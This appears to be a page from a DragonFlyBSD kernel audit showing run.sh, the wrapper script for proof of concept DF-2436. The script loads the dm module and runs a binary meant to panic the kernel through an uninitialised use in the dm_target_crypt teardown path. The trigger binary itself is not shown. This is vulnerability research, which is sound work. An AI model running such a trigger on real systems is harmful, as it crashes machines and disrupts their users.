DragonFlyBSD Kernel Audit
DF-2436 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# Run DF-2436 PoC. Must be run as root (or operator-group) after `kldload dm`.
# On the BUGGY kernel this triggers a panic in mpipe_done() during
# dm_target_crypt_destroy() -> ssh will die and boot.log captures the panic.
cd "$(dirname "$0")"
echo "[*] kldload dm + dm_target_crypt (root)..."
kldload dm 2>/dev/null || echo "[*] dm already loaded"
echo "[*] running uninit-use trigger..."
./dm_crypt_uninit
echo "RUN_EXIT=$?"